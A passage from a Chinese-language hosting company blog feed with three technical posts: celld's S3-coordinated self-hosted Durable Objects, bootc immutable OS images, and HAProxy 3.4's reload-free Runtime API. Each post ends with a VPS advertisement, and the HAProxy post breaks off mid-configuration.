      <![CDATA[<p>Ryan Dahl 十七年前寫下 Node.js，五年前把它承認為自己「最後悔的四件事」之一，接著做 Deno；2026 年 8 月他掛名的 Deno 團隊釋出 celld v0.1.0，把 Cloudflare Durable Objects 的整套模型搬回自架 VM。這件事本身的訊號比程式碼更值得注意——一位曾經公開表示「不會再碰 JavaScript runtime」的人，親自跳下來蓋一個能吃 <code>wrangler.jsonc</code> 設定檔的 V8 執行環境，代表他認為 Durable Objects 這個抽象化真的有一般性，而不是 Cloudflare 專屬的東西。</p><p>celld 的架構在 self-hosted 這個賽道上是一次很乾淨的答案：V8 執行 JavaScript、每一個 cell 各自一顆 SQLite、LTX 把交易複製到 S3 兼容 bucket、bucket 同時擔任協調層。沒有 Raft、沒有專屬控制平面、沒有失效偵測服務。這篇文章要看的就是這個「S3 直接當一致性協定」的設計為什麼跑得動，以及在臺灣 VPS 上實際部署要處理哪些事。</p><h2 id="沒有-Raft-這件事的份量"><a href="#沒有-Raft-這件事的份量" class="headerlink" title="沒有 Raft 這件事的份量"></a>沒有 Raft 這件事的份量</h2><p>分散式有狀態系統的預設答案幾乎都是 Raft 或它的變種。etcd、Consul、CockroachDB、TiKV、FoundationDB 全走這條路，理由也很清楚：多節點寫入需要達成共識，共識就得有選舉、有 log replication、有 leader lease。這條路走過三十年，工程上很成熟，但代價是複雜度會滲透到系統每一層——節點數要是奇數、網路分割要靠 quorum 撐、log compaction 要小心處理、成員變更是獨立協定。</p><p>celld 選擇的路線是把這一整套踢掉，讓 S3 兼容 bucket 直接承擔協調責任。這條路能成立的技術前提是 S3 API 本身已經演化到能提供 conditional write 語意——PutObject 帶 <code>If-None-Match: *</code> 或 <code>If-Match: &lt;etag&gt;</code> 標頭就是一次跨節點的 compare-and-swap。celld 用這個 CAS 原子性做兩件事：cell 的 ownership claim、以及每一次寫入的 fencing 檢查。</p><p>實務意義是節點之間不需要互相看得到。傳統 Raft cluster 要三個以上節點彼此建立長連接、跑心跳、選 leader；celld 節點只跟 S3 bucket 溝通，彼此之間只在 request routing 時才產生流量。這對於跨區部署或想在多個 VPS 供應商之間拉冗餘的場景幫助很大——不用預先建立 mesh network、不用擔心 quorum 撐不撐得住區域斷網。</p><p>代價當然存在。S3 的每次寫入延遲通常在 20 到 100 毫秒之間，比 Raft cluster 內部一次 log entry 慢一個數量級。celld 官方 benchmark 寫的 durable write latency 大約 90 毫秒就是這個限制決定的下界——不是實作沒調好，是物理上 bucket 就要那麼久才能確認寫入。想拉低這個數字只能靠自架 Garage 或 MinIO 這種 S3 兼容儲存架在區網內。</p><h2 id="LTX-加-ownership-epoch-才是這個模型的核心"><a href="#LTX-加-ownership-epoch-才是這個模型的核心" class="headerlink" title="LTX 加 ownership epoch 才是這個模型的核心"></a>LTX 加 ownership epoch 才是這個模型的核心</h2><p>單靠 S3 CAS 建立 ownership 不夠。真正棘手的情境是 split-brain：節點 A 認為自己還擁有某個 cell、開始寫入 SQLite；但因為網路抖動，node A 的 ownership 已經被搶走給 node B。傳統 Raft 靠 term number 加 quorum 保證 leadership，celld 靠的是 ownership epoch 這個概念。</p><p>每次 cell 被 claim 走都遞增 epoch number 並寫進 S3 的一個特定 key。node A 在把 SQLite 交易寫到 bucket 之前會做一次 conditional write：只有當 bucket 上的 ownership key 仍然指向 node A 加上正確的 epoch，寫入才算數。這個檢查跟寫入是一起做的（S3 的原子 CAS 語意），所以就算 node A 網路慢半拍、以為自己還握著 cell，寫入這一步就會失敗——node A 這一輪的交易被送進一個帶著舊 epoch 的 path，永遠不會被認為是這個 cell 的有效狀態。</p><p>被使用的交易格式是 LTX（Litestream 的 replica format），這是 Ben Johnson 為了 Litestream 定義的一套把 SQLite 頁面變更打包成 segment 的格式。celld 直接把 SQLite 的每一次 commit 攔截下來、封裝成 LTX segment、丟到 bucket 對應 cell 加 epoch 的路徑。cell 醒來時再從 bucket 依 epoch 順序把 LTX segment 回放到本地 SQLite。這比手工設計一套 WAL 傳輸格式好處明顯——LTX 已經被 Litestream 用了幾年，格式穩定、有現成工具能看、Rust 實作也有底子。</p><p>這個設計還帶來一個副作用：LTX segment 天生就是 immutable 的，寫進 bucket 之後不會被覆寫。舊 epoch 的 segment 留在 bucket 裡不會傷害資料完整性，只是佔空間而已，可以靠 lifecycle policy 定期清掉。傳統資料庫 replication 常見的 log truncation 跟 GC 這一整層工程可以直接省掉。</p><h2 id="每個-cell-一顆-SQLite-的成本剖面"><a href="#每個-cell-一顆-SQLite-的成本剖面" class="headerlink" title="每個 cell 一顆 SQLite 的成本剖面"></a>每個 cell 一顆 SQLite 的成本剖面</h2><p>celld 官方公佈的密度數字是：resident cell 的 RAM overhead 大約 0.47 MB，一個 8 GB 節點可以塞 2500 顆 cell；hibernated cell 只留 metadata 在 bucket，記憶體佔用歸零。cell wake time 大約 4 毫秒——這是從 S3 拉最新 LTX segment 回放到本地 SQLite 的時間。durable write latency 90 毫秒、failover 20 秒完成、SPOF 恢復不掉資料。</p><p>這個成本剖面適合的工作負載是：租戶數量多、單一租戶負載中等、大部分時間閒置、活躍時要求低延遲讀寫。典型例子是即時協作文件（每份文件一個 cell）、多租戶 SaaS（每個 tenant 一個 cell）、AI Agent 的長對話 session（每段對話一個 cell）。這些場景的共同特徵是「幾百萬顆潛在單位，但同一時間只有一小部分活著」。</p><p>不適合的工作負載也很明確：單一 cell 要吃掉整臺機器記憶體的重型工作（拿去跑 vector index 的節點）、需要跨 cell 交易的商業邏輯（celld 沒有 cross-cell 交易）、寫入延遲不能超過 10 毫秒的高頻交易系統（S3 的物理下界擋住）。這些場景還是回頭找 CockroachDB、TiDB 這類 Raft-based 分散式資料庫比較合理。</p><h2 id="跟-Rivet-Actors、OpenWorkers-的取捨在哪"><a href="#跟-Rivet-Actors、OpenWorkers-的取捨在哪" class="headerlink" title="跟 Rivet Actors、OpenWorkers 的取捨在哪"></a>跟 Rivet Actors、OpenWorkers 的取捨在哪</h2><p>自架 Durable Objects 這個題目在 2026 年至少浮出三個認真的方案：Rivet Actors、OpenWorkers、celld。三者的差別不在「都是 self-hosted」這個共同點，而在架構選擇的側重。</p><p>Rivet Actors 走的是更廣義的 actor 模型，用 Rust 從頭寫、FoundationDB 或 Postgres 當熱儲存、S3 當冷儲存。抽象化不特別綁 Cloudflare API，設計目標是能接住 AI Agent 這類長時間 stateful 工作負載。密度數字更誇張（單一 actor 記憶體 overhead 只有 0.6 KB），但需要拉 FoundationDB cluster 或搭 Postgres，運維成本比 celld 高一階。</p><p>OpenWorkers 專注在 Workers runtime 本身的相容性，把 rusty_v8 綁起來提供 KV、R2、Service Binding 這些介面，但不處理 Durable Objects 的分散式狀態。適合已經在 Cloudflare Workers 上跑無狀態或近乎無狀態程式碼的團隊，想把成本從 Cloudflare 帳單搬回自家機房。</p><p>celld 的定位剛好卡在中間：它跟 Cloudflare API 的相容性夠深，<code>wrangler.jsonc</code> 直接吃、Durable Objects 完整搬過來；同時它的部署複雜度低得離譜——58 MB 靜態執行檔加一個 S3 兼容 bucket 就跑得起來。用一句話總結三者的定位差別：Rivet 是「AI Agent 導向的高效能 actor runtime」、OpenWorkers 是「無狀態 Workers 的自架版」、celld 是「有狀態 Workers 的最小可行自架版」。</p><p>如果團隊已經在用 Cloudflare Workers 跟 Durable Objects、程式碼想不改就搬回自家、可以接受 90 毫秒的寫入延遲，celld 就是目前最直接的答案。想要更高效能或更複雜的 actor 抽象化，再往 Rivet 走。</p><h2 id="在臺灣-VPS-上部署-celld-的實際考量"><a href="#在臺灣-VPS-上部署-celld-的實際考量" class="headerlink" title="在臺灣 VPS 上部署 celld 的實際考量"></a>在臺灣 VPS 上部署 celld 的實際考量</h2><p>celld 的部署最小組合是：一臺 VPS 加一個 S3 兼容 bucket。實務上要做的決定有三個。</p><p><strong>S3 兼容儲存的選擇</strong>：直接用 AWS S3 是最省事但延遲最痛。臺灣訪問 S3 Tokyo region 的 RTT 通常 40 到 60 毫秒，加上 S3 內部處理，durable write 很容易衝到 150 毫秒以上。比較合理的路徑是在同一機房架 Garage 或 MinIO——RTT 壓到 1 毫秒以內，durable write 能拉回 20 到 30 毫秒。Garage 對這個場景特別合適，它的設計目標就是分散式 S3 儲存、寫入延遲低、多節點複寫。用 3 節點 Garage cluster 撐 celld 的 bucket，冗餘度跟延遲同時到位。</p><p><strong>多節點 celld 的網路拓樸</strong>：celld 官方文件明確要求 peer 之間的流量走 private network，因為 request routing 需要節點互相轉發請求給擁有該 cell 的 owner node。WireGuard 或 Tailscale 都是合理選擇——WireGuard 效能較好但要手工管 config，Tailscale 部署快但走 Tailscale coordination server。跨區部署時建議直接自架 headscale 撐 control plane，避開對外部服務的依賴。</p><p><strong>cell owner 的區域親和性</strong>：celld 沒有內建 cell 的區域偏好機制，一顆 cell 醒在哪個節點是由 request 打到哪決定的。這代表如果多節點分散在不同資料中心、client 從東京連到臺北節點、cell 又被東京節點擁有，每次請求會多一次跨區域 hop。目前的 workaround 是靠應用層 routing 或 sticky load balancing，把同一個 cell 的請求盡量打到同一區。這個機制未來預期會補進 celld，但 v0.1.0 還沒有。</p><h2 id="這個模型還缺什麼"><a href="#這個模型還缺什麼" class="headerlink" title="這個模型還缺什麼"></a>這個模型還缺什麼</h2><p>celld v0.1.0 是 alpha 版本，官方明確列出目前不覆蓋的 Cloudflare 功能：KV bindings、R2、Cache API、Workers AI、Cron handlers、managed ingress。這些對 Cloudflare Workers 的完整體驗都很重要，但至少 KV 跟 Cron 相對容易在自架環境用 Redis 或 systemd timer 補上。R2 直接用 S3 兼容 bucket 頂就好，本來就是同一件事。</p><p>比較困難的是 hostile multi-tenant——celld 明說目前不支援不受信任的 tenant 共用同一組節點。這個限制對 SaaS 場景是個問題，因為使用者提交的 JavaScript 程式碼理論上有機會影響同節點其他 cell。Cloudflare Workers 在這個議題上花了很多年打磨 isolate 邊界，包括 Spectre 緩解、精確計時器阻絕、記憶體限制強制執行。celld 目前的建議是只在信任的內部團隊間共用節點，或者為每個租戶開獨立節點跑。</p><p>即便如此，把「有狀態 JavaScript 執行環境」壓縮到單一 58 MB binary 加一個 bucket 就跑得動這件事本身就值得記住。Durable Objects 之前的實作路徑要嘛綁在 Cloudflare 上、要嘛就是拉 Kubernetes cluster 加共識服務加專屬控制平面，門檻高到大部分中小團隊直接放棄。celld 把這個門檻壓到「一臺 VPS 加一個 bucket」的層級，等於把 Durable Objects 這個抽象化從邊緣運算專屬變成任何人都能自架的基礎設施。</p><p>要在自家 VPS 上跑 celld 撐真正的 production 工作負載，儲存跟網路那一層要做得夠紮實才有意義——低延遲的 S3 兼容 bucket、穩定的 private network、以及 IP transit 品質決定了 durable write 這條路的實際體驗。NCSE Network 提供的臺灣是方電訊機房 VPS，搭配 Intel Gold CPU 跟 NVMe SSD，適合直接跑 Garage cluster 撐 celld 的儲存後端，也能透過 IP Transit 服務把多節點跨區流量帶起來。想拉一套自架 Durable Objects 環境的團隊，可以到 <a href="https://ncse.tw/">ncse.tw</a> 了解 VPS 與網路服務選項。</p>]]>
    </content>
    <id>https://blog.ncse.tw/celld-ryan-dahl-durable-objects-s3-coordination-ltx-epoch-self-hosted/</id>
    <link href="https://blog.ncse.tw/celld-ryan-dahl-durable-objects-s3-coordination-ltx-epoch-self-hosted/"/>
    <published>2026-09-07T02:30:00.000Z</published>
    <summary>Deno 團隊 2026 年 8 月釋出 celld v0.1.0，把 Cloudflare Durable Objects 的模型搬到自架 VM。它沒有 Raft、沒有專屬控制平面，S3 兼容 bucket 同時擔任儲存與協調層，靠 LTX 交易格式加 ownership epoch 做 fencing。本文拆解這個架構為什麼跑得動、它跟 Rivet Actors 的取捨在哪，以及在臺灣 VPS 上部署時該怎麼設計 bucket 與網路。</summary>
    <title>celld 把 S3 直接當一致性協定：Ryan Dahl 用 LTX ownership epoch 取代 Raft，一顆 SQLite 對一個 Durable Object 的自架成本重畫</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="bootc" scheme="https://blog.ncse.tw/tags/bootc/"/>
    <category term="RHEL 10" scheme="https://blog.ncse.tw/tags/RHEL-10/"/>
    <category term="Fedora" scheme="https://blog.ncse.tw/tags/Fedora/"/>
    <category term="不可變 OS" scheme="https://blog.ncse.tw/tags/%E4%B8%8D%E5%8F%AF%E8%AE%8A-OS/"/>
    <category term="OCI" scheme="https://blog.ncse.tw/tags/OCI/"/>
    <content>
      <![CDATA[<p>VPS 上跑一組穩定服務最頭痛的環節從來不是安裝，是升級。<code>apt-get upgrade</code> 一跑下去，systemd 換版本、libssl 動一次依賴樹，遇上一顆過期的 initramfs 或一個 hook 執行順序搞錯就是重開機起不來——這故事在自架社群裡年年重演，備份、快照、預先 rollback 準備得再周全，動手前依舊是在賭。bootc 這個 2026 年隨 RHEL 10 image mode 正式 GA 走進主流的專案，把賭注從系統升級這條路徑上整段拆掉：整個 Linux 作業系統，kernel、bootloader、驅動、userspace 全部打包成 OCI 映像檔，<code>podman push</code> 到 registry 就是伺服器升級指令。</p><p>bootc 的上游是 bootc-dev&#x2F;bootc，Rust 寫的 CLI 工具，MPL 授權。它跟 Fedora 那個 rpm-ostree 的關係最容易讓人搞混——底層依舊是同一套 OSTree，差別在鏡像的傳輸與定義方式從 rpm 套件樹改成了 OCI 容器映像。Red Hat 從 RHEL 9.4 開始推 bootc，RHEL 10 把 image mode 正式標為 GA、Fedora bootc 從 41 版起成為官方變體，Rocky Linux、AlmaLinux、CentOS Stream 都提供對應的 bootc 基底映像。</p><h2 id="從-rpm-ostree-走了十五年才收成的東西"><a href="#從-rpm-ostree-走了十五年才收成的東西" class="headerlink" title="從 rpm-ostree 走了十五年才收成的東西"></a>從 rpm-ostree 走了十五年才收成的東西</h2><p>Fedora Silverblue 從 2018 年開始把 OSTree 這套「檔案系統原子升級」的想法推上桌面，走了七年到現在仍舊算小眾——原因是它跟開發者熟悉的容器生態完全脫節。系統管理員得學一整套 rpm-ostree 指令：<code>rpm-ostree upgrade</code>、<code>rpm-ostree install</code>、<code>rpm-ostree deploy</code>、<code>ostree admin status</code>，每個指令都對應 OSTree 內部的 commit 概念，跟 podman、docker 那邊不共用任何心智模型。</p><p>bootc 拿掉這層抽象，直接說：Containerfile 就是 OS 定義。<code>FROM quay.io/centos-bootc/centos-bootc:stream10</code> 拉一份基底映像，<code>RUN dnf install nginx tailscale</code> 加上要的套件，<code>COPY nginx.conf /etc/nginx/nginx.conf</code> 塞設定進去，最後 <code>podman build -t registry.example.com/servers/web:v42</code> 打包，<code>podman push</code> 送上 registry。目標機器只要跑 <code>bootc update</code> 就會拉最新映像、staged 到 B 分區、下次開機生效。</p><p>跟 Docker container 的差別在於，這支映像檔不是拿去 <code>podman run</code> 起容器的——bootc 直接把整份映像 rebase 到本地磁碟，變成 OS 的下一個部署槽位。同一支 Containerfile 可以用 bootc-image-builder 額外產出 qcow2、ISO、AMI 等磁碟格式，配到 VPS 商的自訂映像上傳流程裡直接開新機，本地開發跟雲端部署共用同一份定義。</p><h2 id="A-B-部署跟-atomic-rollback-的實際細節"><a href="#A-B-部署跟-atomic-rollback-的實際細節" class="headerlink" title="A&#x2F;B 部署跟 atomic rollback 的實際細節"></a>A&#x2F;B 部署跟 atomic rollback 的實際細節</h2><p>底下的 OSTree 用 A&#x2F;B 兩個部署槽位撐住 atomic 這件事。假設目前跑的是 deployment A，<code>bootc update</code> 拉來新映像後，OSTree 把它解到 B 槽位，A 完整不動。bootloader 的 GRUB config 更新指向 B，下次開機從 B 起來。B 起來後發現有問題，<code>bootc rollback</code> 一行指令把 default 換回 A，重開機就回到升級前的狀態，整個回滾流程平均不到兩分鐘。</p><p><code>/etc</code> 跟 <code>/var</code> 是唯一的可寫路徑，其他全部唯讀。&#x2F;etc 的處理是 3-way merge：新映像的 &#x2F;etc 預設值、舊部署的 &#x2F;etc 預設值、當前實際內容三方比對，管理員手改過的檔案會保留、沒改過的則跟隨新版。&#x2F;var 完全由主機保留，映像升級不動它。這對跑資料庫、儲存服務的伺服器很關鍵——PostgreSQL 的 data directory、Docker Registry 的儲存路徑不會因為 OS 升級被覆蓋。</p><p>kernel 更新在 bootc 底下的流程跟傳統發行版是斷層式的差別。傳統 <code>dnf update kernel</code> 是解 rpm、寫進 &#x2F;boot、跑 dracut 重建 initramfs，中間任何一步失敗都可能開不了機。bootc 這邊 kernel 跟 initramfs 都是映像檔的一部分，構建階段就已經在 CI 環境驗證過，目標機器只是把整份映像檔複製到 B 槽位。initramfs 損毀、GRUB 錯亂這類災難在這個模型底下難度成本高很多。</p><h2 id="Containerfile-定義-OS-這件事在維運上的意義"><a href="#Containerfile-定義-OS-這件事在維運上的意義" class="headerlink" title="Containerfile 定義 OS 這件事在維運上的意義"></a>Containerfile 定義 OS 這件事在維運上的意義</h2><p>實務上 bootc 把伺服器組態管理這件事從 Ansible&#x2F;Puppet&#x2F;Chef 這一整代工具搬到 CI&#x2F;CD pipeline。過去要維護 20 臺 VPS 的一致性得寫一套 Ansible playbook，每次改動先 <code>--check</code> 再 <code>--diff</code> 再套用，還得處理某臺機器 apt cache 卡住這類邊界狀況。bootc 底下，Containerfile 進 git、GitHub Actions 觸發 podman build、推 registry，每臺機器排 systemd timer 定時跑 <code>bootc update</code>，一致性由映像檔的 digest 保證。</p><p>這個模型對 immutable infrastructure 那套「機器是家畜不是寵物」的理念是完整實現。要換版本就是換映像 tag、要 rollback 就是換回舊 tag、要新增節點就是拿磁碟映像開新 VM。GitOps 那套「宣告式 desired state」從 Kubernetes 資源層延伸到 OS 層。</p><p>要提醒的是這條路線不適合過去習慣 <code>dnf install</code> 隨時裝套件的伺服器維運模式。bootc 有 <code>bootc usr-overlay</code> 這個暫時性的可寫層，但重開機會消失，設計上只是為了臨時 debug。長期要裝的東西必須進 Containerfile。這是有意的取捨——把「當下手動改了什麼」這個組態飄移的最大來源直接堵住。</p><h2 id="跟-Talos、Flatcar-差在哪"><a href="#跟-Talos、Flatcar-差在哪" class="headerlink" title="跟 Talos、Flatcar 差在哪"></a>跟 Talos、Flatcar 差在哪</h2><p>自架 immutable OS 的選項不止 bootc 一個，Talos 跟 Flatcar 是同賽道另外兩條路，定位相當不同。</p><p>Talos 是 Kubernetes 節點專用 OS，SSH 拔掉、所有管理走 API、根檔案系統掛成 SquashFS 唯讀。強項是完全鎖死的攻擊面，缺點是只能跑 Kubernetes——想在同一臺機器跑一支獨立的 nginx、跑一支 tailscale daemon、或跑任何非容器化的傳統服務都做不到。</p><p>Flatcar Container Linux 是 CoreOS 血脈的直接繼承者，走 dual-partition A&#x2F;B ext4 掛載，root 可寫、&#x2F;usr 唯讀。它比較像「附贈容器 runtime 的通用 Linux」，保留 shell 跟 SSH，SSH 進去可以修東西。這條路線適合過渡期——習慣 SSH 進去 debug 的團隊可以先搬 Flatcar 再談完整 immutable。</p><p>bootc 定位介於這兩者之間：完整的通用型 OS（能跑非容器化的 systemd unit、能直接裝 nginx 起服務），但升級模型走完整 immutable。SSH 預設保留，能進去看，但改的東西不能長期保留。RHEL 10 用 image mode 推的就是這條路，Fedora bootc 是社群版本。</p><p>決策上的建議清楚：Kubernetes 節點選 Talos、要一般伺服器搭配 immutable 升級選 bootc、暫時還離不開 SSH 手動改東西的過渡期選 Flatcar。三者不是同一條路的競爭替代品，而是同一個大方向上的三種切片。</p><h2 id="目前在-VPS-上部署的實際限制"><a href="#目前在-VPS-上部署的實際限制" class="headerlink" title="目前在 VPS 上部署的實際限制"></a>目前在 VPS 上部署的實際限制</h2><p>bootc 在 2026 年 9 月的狀態下已經算得上 production ready，但幾個限制值得提前知道。</p><p>多發行版支援還在收斂。RHEL 10、Fedora bootc、Rocky Linux、AlmaLinux、CentOS Stream 是第一批完整支援，Debian bootc 專案存在但還在 experimental 階段、Ubuntu 官方尚無 bootc 基底映像，社群版本要自己編。對想在 Debian 13 或 Ubuntu 26.04 生態繼續走的團隊來說是實際障礙——短期內只能靠 Fedora&#x2F;RHEL 系走這條路。</p><p>RPM overlay 這個功能在 bootc 底下被有意壓縮。rpm-ostree 允許 <code>rpm-ostree install foo</code> 動態加套件到當前部署，但 bootc 明確不鼓勵這種用法——要加東西進 Containerfile 重新構建。這對「每臺伺服器角色略有差異」的場景需要重新設計：要嘛做多份 Containerfile，要嘛把差異用 systemd unit、config 掛載處理。</p><p>VPS 商的自訂映像上傳流程是另一個環節。bootc-image-builder 產出的 qcow2 &#x2F; raw &#x2F; AMI 檔案，需要 VPS 商支援自訂映像上傳——不是每家都提供這個功能，或提供了但有大小限制。走 bootc 之前先確認手上 VPS 方案的自訂映像流程能不能過關。</p><h2 id="什麼場景該選-bootc"><a href="#什麼場景該選-bootc" class="headerlink" title="什麼場景該選 bootc"></a>什麼場景該選 bootc</h2><p>放下概念上的優雅，判斷標準務實。</p><p>一組 VPS 跑相同角色的服務、需要保證機器之間一致性、常常因為升級卡住重開不能開機——這是 bootc 的甜蜜點。CI&#x2F;CD pipeline 已經在跑 Docker 映像構建的團隊，把 OS 塞進同一套流水線幾乎沒有額外學習成本。</p><p>單獨一臺 VPS 跑幾個雜項服務、每次升級要進去手動調東西、依賴一堆非官方 apt&#x2F;dnf repo、要跑客製 kernel 模組——這條路不划算，繼續用 Debian&#x2F;Ubuntu 傳統模型比較省事。</p><p>過去用 Ansible &#x2F; SaltStack 管十幾臺 VPS 的團隊值得認真評估遷移。Ansible 的 idempotent 假設在實際跑起來邊界狀況一堆，bootc 用「換整個 OS 映像」把這條路徑上的不確定性拿掉。學習曲線集中在前期把 Containerfile 寫對，後續維運成本明顯低於 Ansible。</p><h2 id="選-bootc-前該確認的底層條件"><a href="#選-bootc-前該確認的底層條件" class="headerlink" title="選 bootc 前該確認的底層條件"></a>選 bootc 前該確認的底層條件</h2><p>跑 bootc 的 VPS 對底層平臺有幾個具體要求：VPS 商必須支援自訂映像上傳（或至少支援 Fedora&#x2F;RHEL&#x2F;AlmaLinux 官方 bootc 映像）、磁碟容量要足夠放 A&#x2F;B 兩份部署（實務上映像大小差不多是傳統 minimal 安裝的 1.5 倍）、網路頻寬要能撐每次升級的映像檔傳輸量，尤其在多節點同時 pull 大型映像時。</p><p>NCSE Network 在臺灣是方電訊機房提供的 VPS 主機採用 Intel Xeon Gold CPU 與 NVMe SSD，在 bootc 這類需要頻繁磁碟 I&#x2F;O 與整份映像檔傳輸的部署流程上有實際優勢；同時提供從 10M 到 100G 的 IP Transit 頻寬彈性，因應 immutable OS 每次升級的映像傳輸需求。前往 <a href="https://ncse.tw/">ncse.tw</a> 了解 VPS 方案細節。</p>]]>
    </content>
    <id>https://blog.ncse.tw/bootc-oci-image-linux-immutable-os-rhel-10-image-mode/</id>
    <link href="https://blog.ncse.tw/bootc-oci-image-linux-immutable-os-rhel-10-image-mode/"/>
    <published>2026-09-06T06:00:00.000Z</published>
    <summary>bootc 2026 年隨 RHEL 10 image mode 正式 GA 走進主流，把整個 Linux 作業系統包括 kernel 打包成 OCI 映像檔，podman push 到 registry 就是伺服器升級。本文拆解 bootc 的 A/B ostree 架構、跟 rpm-ostree 的斷層、Debian/Ubuntu 支援進度，以及在 VPS 上部署時該用不該用的判斷條件。</summary>
    <title>apt-get 升級每次都在賭 initramfs 不炸：bootc 把整臺 Linux 收進 OCI 映像檔，RHEL 10 image mode GA 讓 podman push 直接變成伺服器升級</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="Linux" scheme="https://blog.ncse.tw/tags/Linux/"/>
    <category term="反向代理" scheme="https://blog.ncse.tw/tags/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86/"/>
    <category term="HAProxy" scheme="https://blog.ncse.tw/tags/HAProxy/"/>
    <category term="Load Balancer" scheme="https://blog.ncse.tw/tags/Load-Balancer/"/>
    <category term="ACME" scheme="https://blog.ncse.tw/tags/ACME/"/>
    <category term="TLS" scheme="https://blog.ncse.tw/tags/TLS/"/>
    <category term="Runtime API" scheme="https://blog.ncse.tw/tags/Runtime-API/"/>
    <content>
      <![CDATA[<p>HAProxy 這幾年在效能榜上一直沒輸過，但操作模型有個大家心照不宣的裂縫：改一組 backend 得改 <code>haproxy.cfg</code>、<code>haproxy -c</code> 驗證、然後 <code>systemctl reload</code> 觸發 <code>-sf</code> 把舊行程交棒。SO_REUSEPORT 讓兩個行程可以同時 bind、舊連線繼續由舊行程收尾，但這個交棒過程並不是零成本——config 越大、TLS session cache 越熱、connection tracking 越複雜，reload 的抖動就越明顯。HAProxy 3.4 在 2026 年 6 月釋出，把 backend、server 的建立與刪除全部搬到 Runtime API，宣告 HAProxy 正式進到 reload-free orchestration 的時代。同一版還把 healthcheck 拆成可重用 section、內建 ACME 支援 dns-01、預設啟用 TLS 憑證壓縮、以及一個叫 QMux 的實驗性 QUIC over TCP 層——對已經在跑 HAProxy 的機器來說，這一版值得認真評估升級。</p><h2 id="reload-那條裂縫從哪裡來"><a href="#reload-那條裂縫從哪裡來" class="headerlink" title="reload 那條裂縫從哪裡來"></a>reload 那條裂縫從哪裡來</h2><p><code>haproxy -sf</code> 的做法是：新行程啟動、bind 到同一個 port（透過 SO_REUSEPORT）、對舊行程送 SIGUSR1，舊行程停止 accept 新連線、把手上的 keep-alive 連線在下個請求邊界關掉。這個模型解決了大部分 zero-downtime reload 的問題，但沒解決兩件事：一是短暫的雙行程期間所有 stick table、session cache、connection counter 都是分裂的，backend 統計數字會出現詭異跳動；二是 config 一大起來，parser 跟 SSL context 初始化本身就要幾百毫秒到幾秒，這段時間新連線會被 kernel accept queue 收著等——量大的話後端會看到一波 P99 尖峰。</p><p>Kubernetes ingress 那邊靠 Envoy 走的 xDS 動態 config 推送早就避開這條路徑，HAProxy 在 3.4 之前的做法則是 server template：用 <code>server-template web 1-100 0.0.0.0:80 disabled</code> 先開一堆空 slot，跑起來後透過 Runtime API 的 <code>set server</code> 把 IP 填進去。這招管用但難看——空 slot 佔記憶體、slot 數量寫死在 config 裡、要新增 backend 本身還是得 reload。</p><p>另一個常被忽略的成本是 stats 監控。Prometheus 從 HAProxy exporter 拉的 counter 在每次 reload 都會被重置，Grafana 面板要嘛用 <code>resets()</code> 修正、要嘛接受計數斷層。跑一天內幾十次部署的環境，這個問題就會從「小麻煩」變成「監控完全失真」。</p><h2 id="Dynamic-Backends-把-backend-的生命週期完全搬走"><a href="#Dynamic-Backends-把-backend-的生命週期完全搬走" class="headerlink" title="Dynamic Backends 把 backend 的生命週期完全搬走"></a>Dynamic Backends 把 backend 的生命週期完全搬走</h2><p>3.4 的 Runtime API 多出一整組 backend 生命週期指令，可以透過 stats socket 或 master CLI 打進去：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; add backend api-v2 from default_be mode http</span><br><span class="line">&gt; add server api-v2/pod-01 10.0.1.10:8080 check</span><br><span class="line">&gt; add server api-v2/pod-02 10.0.1.11:8080 check</span><br><span class="line">&gt; enable server api-v2/pod-01</span><br><span class="line">&gt; enable server api-v2/pod-02</span><br><span class="line">&gt; publish backend api-v2</span><br></pre></td></tr></table></figure><p><code>publish</code> 之前這個 backend 存在但不會被 <code>use_backend</code>、<code>default_backend</code> 選中，等於一個 staging 狀態，剛好對應 CI&#x2F;CD 的 pre-warm。把整套流程套進 GitOps 的 controller，等於 HAProxy 對外提供的是一個真正意義上的 API，而不是靠檔案系統事件 + <code>hup</code> 訊號的黏合。</p><p>刪除也不是硬砍。3.4 引入 <code>wait srv-removable</code> 判斷伺服器上還有沒有 in-flight 連線：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&gt; wait 5s srv-removable api-v2/pod-01</span><br><span class="line">&gt; del server api-v2/pod-01</span><br><span class="line">&gt; unpublish backend api-v1</span><br><span class="line">&gt; del backend api-v1</span><br></pre></td></tr></table></figure><p><code>wait</code> 這個指令會阻塞到條件成立或逾時，這對 rolling deploy 的 controller 非常重要——script 不用自己輪詢 stats。搭配 virtual map（<code>add map virt@paths.map /v2 api-v2</code>）可以把 path routing 也做成 runtime 動態，等於整條 blue&#x2F;green 或 canary 都不用碰 config 檔。</p><p>要注意的是 <code>default_backend</code> 或 <code>use_backend</code> 引用了還沒 publish 或已 unpublish 的 backend 時，那個 rule 會被略過。3.4 加了 <code>force-be-switch</code> 選項可以覆寫這個行為，但預設關閉是對的——正常運作時不應該有 traffic 打到「本來要有但暫時消失」的 backend。</p><h2 id="healthcheck-這個-section-早該有"><a href="#healthcheck-這個-section-早該有" class="headerlink" title="healthcheck 這個 section 早該有"></a>healthcheck 這個 section 早該有</h2><p>HAProxy 一直沒有可重用的 health check 定義。同一組 HTTP check 要用在十個 backend 就得複製十次，還常常忘記同步。3.4 把 <code>healthcheck</code> 拉成 top-level section：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">healthcheck api-http</span><br><span class="line">  type httpchk</span><br><span class="line">  http-check connect alpn h2</span><br><span class="line">  http-check send meth GET uri /healthz ver HTTP/2 hdr Host api.example.com</span><br><span class="line">  http-check expect 